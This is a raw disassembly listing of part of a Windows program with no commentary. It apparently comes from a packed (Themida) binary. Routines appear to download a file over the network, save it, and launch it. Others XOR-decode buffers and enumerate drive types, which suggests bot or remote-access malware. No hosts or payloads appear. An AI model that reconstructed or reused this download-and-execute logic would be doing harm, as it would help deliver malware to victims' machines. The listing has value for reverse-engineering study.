		jg	short loc_415FFB
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_437530
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		jmp	loc_41611F
; ---------------------------------------------------------------------------

loc_415FFB:				; CODE XREF: ___:00415FD9j
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4CB038
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_416034
		push	offset unk_43750C

loc_416021:				; CODE XREF: ___:00415E63j
					; ___:00415EA1j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_416122
; ---------------------------------------------------------------------------

loc_416034:				; CODE XREF: ___:0041601Aj
		push	edi
		call	dword_4CB03C
		cmp	[ebp+8], esi
		jz	loc_4160E6
		mov	edi, 400h

loc_416049:				; CODE XREF: ___:004160DDj
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_416056
		mov	[ebp-4], eax

loc_416056:				; CODE XREF: ___:00416051j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2780000h
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		call	near ptr 2710000h
		nop
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4CAFF4
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4CAFBC
		cmp	eax, ebx
		jl	loc_41617B
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_41617B
		sub	[ebp+8], eax
		jnz	loc_416049
		mov	edi, [ebp-18h]

loc_4160E6:				; CODE XREF: ___:0041603Ej
		push	dword ptr [ebp-8]
		call	near ptr 2670909h
		nop
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_4374E0
		push	eax
		call	sub_41B886

loc_41611F:				; CODE XREF: ___:00415FF6j
		add	esp, 14h

loc_416122:				; CODE XREF: ___:0041602Fj
		cmp	[ebp-50h], esi
		jnz	short loc_416147
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		add	esp, 14h

loc_416147:				; CODE XREF: ___:00416125j
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_4151AC
		cmp	edi, esi
		pop	ecx
		jbe	short loc_41615F
		push	edi
		call	dword_4CB03C

loc_41615F:				; CODE XREF: ___:00416156j
		push	dword ptr [ebp-1F8h]
		call	dword_4CB03C
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	esi
		call	near ptr 26F0000h
		nop

loc_41617B:				; CODE XREF: ___:004160C9j
					; ___:004160D4j
		push	esi
		mov	esi, offset dword_4374C8
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		push	esi
		call	sub_4151AC
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4CB03C
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h

loc_4161BC:				; DATA XREF: sub_401ACD+7B4o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		nop
		call	near ptr 2690000h
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_4293F4
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 271099Eh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416246
		push	offset unk_437644
		jmp	short loc_41628C
; ---------------------------------------------------------------------------

loc_416246:				; CODE XREF: ___:0041623Dj
		push	eax
		nop
		call	near ptr 2670909h
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41B4C2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_41626E
		push	offset unk_437614
		jmp	short loc_41628C
; ---------------------------------------------------------------------------

loc_41626E:				; CODE XREF: ___:00416265j
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415BD3
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_41629F
		push	offset unk_4375F4

loc_41628C:				; CODE XREF: ___:00416244j
					; ___:0041626Cj
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_41639B
; ---------------------------------------------------------------------------

loc_41629F:				; CODE XREF: ___:00416285j
		mov	esi, 1000h

loc_4162A4:				; CODE XREF: ___:0041630Aj
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFBC
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41636B
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41630C
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41D2B4
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4CAFA0
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFF4
		jmp	short loc_4162A4
; ---------------------------------------------------------------------------

loc_41630C:				; CODE XREF: ___:004162D4j
		lea	eax, [ebp-4C4h]
		push	offset dword_4374C8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-4]
		call	sub_41B05B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4CB03C
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	1
		nop
		call	near ptr 26F0000h

loc_41636B:				; CODE XREF: ___:004162CBj
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_4375C8
		push	eax
		call	sub_41B886
		add	esp, 14h

loc_41639B:				; CODE XREF: ___:0041629Aj
		cmp	[ebp-14h], ebx
		jnz	short loc_4163C0
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		add	esp, 14h

loc_4163C0:				; CODE XREF: ___:0041639Ej
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_4163DB
		push	dword ptr [ebp-4]
		call	sub_41B05B
		pop	ecx

loc_4163DB:				; CODE XREF: ___:004163D0j
		cmp	[ebp+8], ebx
		jbe	short loc_4163E9
		push	dword ptr [ebp+8]
		call	dword_4CB03C

loc_4163E9:				; CODE XREF: ___:004163DEj
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h

loc_4163F9:				; DATA XREF: sub_401ACD+6279o
					; sub_401ACD+6AB9o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4CAF54
		call	dword_4CAEA8
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416885
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		call	near ptr 271099Eh
		nop
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_4164C0
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_437810
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4164A3
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_4164A3:				; CODE XREF: ___:00416481j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26F0000h
		nop

loc_4164C0:				; CODE XREF: ___:00416461j
		xor	edi, edi
		call	near ptr 26A0DE3h
		nop
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41B4D5
		pop	ecx
		mov	[ebp-1Ch], eax

loc_4164DA:				; CODE XREF: ___:004165ADj
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4CAEB0
		cmp	[ebp-34h], esi
		jz	short loc_41651E
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4168EB
		pop	ecx
		pop	ecx

loc_41651E:				; CODE XREF: ___:0041650Bj
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		nop
		call	near ptr 2700000h
		cmp	edi, ebx
		jnb	short loc_41655C
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_416546
		mov	eax, [ebp+8]

loc_416546:				; CODE XREF: ___:00416541j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch

loc_41655C:				; CODE XREF: ___:00416538j
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_416569
		cmp	edi, [ebp-3Ch]
		ja	short loc_4165B3

loc_416569:				; CODE XREF: ___:00416562j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_416583
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4377E8
		jmp	short loc_416593
; ---------------------------------------------------------------------------

loc_416583:				; CODE XREF: ___:0041656Fj
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4377C0

loc_416593:				; CODE XREF: ___:00416581j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43DCE0
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_4164DA

loc_4165B3:				; CODE XREF: ___:00416567j
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_416608
		cmp	edi, [ebp-3Ch]
		jz	short loc_416608
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_437794
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h

loc_416608:				; CODE XREF: ___:004165BDj
					; ___:004165C2j
		call	near ptr 26A0DE3h
		nop
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		nop
		call	near ptr 2670909h
		push	dword ptr [ebp-1Ch]
		call	sub_41B0B1
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416692
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416692
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_43776C
		push	eax
		call	sub_41B886
		push	esi

loc_416667:				; DATA XREF: Themida_:0055AC7Eo
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h

loc_416692:				; CODE XREF: ___:0041663Aj
					; ___:0041664Cj
		cmp	[ebp-14h], esi
		jz	loc_4168D2
		cmp	dword ptr [ebp-44h], 1
		jz	loc_41678D
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_437734
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41670D
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_41670D:				; CODE XREF: ___:004166EBj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_4168D2
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CAF10
		cmp	[ebp-30h], esi
		jnz	loc_4168D2
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_437718
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 24h
		jmp	loc_4168D2
; ---------------------------------------------------------------------------

loc_41678D:				; CODE XREF: ___:0041669Fj
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_4376D4
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4167F5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_4167F5:				; CODE XREF: ___:004167D3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset dword_43D158
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		call	near ptr 2680000h
		nop
		cmp	eax, edi
		jnz	short loc_416877
		call	dword_4CAEFC
		call	sub_418359
		push	esi
		call	near ptr 77E75CB5h
		nop

loc_416877:				; CODE XREF: ___:00416863j
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_4376A0
		jmp	short loc_416891
; ---------------------------------------------------------------------------

loc_416885:				; CODE XREF: ___:0041643Ej
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437674

loc_416891:				; CODE XREF: ___:00416883j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4168C5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_4168C5:				; CODE XREF: ___:004168A3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_4168D2:				; CODE XREF: ___:00416695j
					; ___:0041671Ej ...
		push	dword ptr [ebp-18h]
		call	dword_4CAFD8
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		push	esi
		call	near ptr 26F0000h
		nop

; =============== S U B	R O U T	I N E =======================================



sub_4168EB	proc near		; CODE XREF: ___:00416517p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416907

loc_4168F7:				; CODE XREF: sub_4168EB+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_4168F7

locret_416907:				; CODE XREF: sub_4168EB+Aj
		retn
sub_4168EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_416908	proc near		; CODE XREF: sub_401ACD+5841p
					; sub_401ACD+5969p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41D3BE
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416908	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416922	proc near		; CODE XREF: sub_40F96A+458p
					; sub_40F96A+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D2BD8
		push	0
		push	edi
		call	sub_41B590
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]

loc_416947:				; CODE XREF: sub_416922+5Bj
					; sub_416922+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41D480
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41D410
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416985
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416947
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416947
; ---------------------------------------------------------------------------

loc_416985:				; CODE XREF: sub_416922+4Bj
		dec	esi
		mov	eax, edi

loc_416988:				; CODE XREF: sub_416922+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416997
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416988
; ---------------------------------------------------------------------------

loc_416997:				; CODE XREF: sub_416922+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416922	endp


; =============== S U B	R O U T	I N E =======================================



sub_4169A1	proc near		; CODE XREF: sub_416B56+51p
					; sub_416B56+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CB004
		sub	eax, 0
		jz	short loc_4169E4
		dec	eax
		jz	short loc_4169DE
		dec	eax
		dec	eax
		jz	short loc_4169D8
		dec	eax
		jz	short loc_4169D2
		dec	eax
		jz	short loc_4169CC
		dec	eax
		jz	short loc_4169C6
		mov	eax, offset word_437864
		retn
; ---------------------------------------------------------------------------

loc_4169C6:				; CODE XREF: sub_4169A1+1Dj
		mov	eax, offset off_437860
		retn
; ---------------------------------------------------------------------------

loc_4169CC:				; CODE XREF: sub_4169A1+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------

loc_4169D2:				; CODE XREF: sub_4169A1+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------

loc_4169D8:				; CODE XREF: sub_4169A1+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------

loc_4169DE:				; CODE XREF: sub_4169A1+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------

loc_4169E4:				; CODE XREF: sub_4169A1+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_4169A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169EA	proc near		; CODE XREF: sub_416A32+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CAE94
		test	eax, eax
		jz	short loc_416A1F
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax

loc_416A1F:				; CODE XREF: sub_4169EA+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4169EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A32	proc near		; CODE XREF: sub_416B56+17p
					; sub_41AA42+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4169EA
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		pop	ebx
		jmp	short loc_416B42
; ---------------------------------------------------------------------------

loc_416B10:				; CODE XREF: sub_416A32+2Cj
					; sub_416A32+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_416B42:				; CODE XREF: sub_416A32+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B56	proc near		; CODE XREF: sub_416C28+17p
					; sub_416C28+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416BC9
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_4378B4
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_416BFD
; ---------------------------------------------------------------------------

loc_416BC9:				; CODE XREF: sub_416B56+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_437878
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 20h

loc_416BFD:				; CODE XREF: sub_416B56+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416B56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C28	proc near		; CODE XREF: sub_401ACD+2553p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
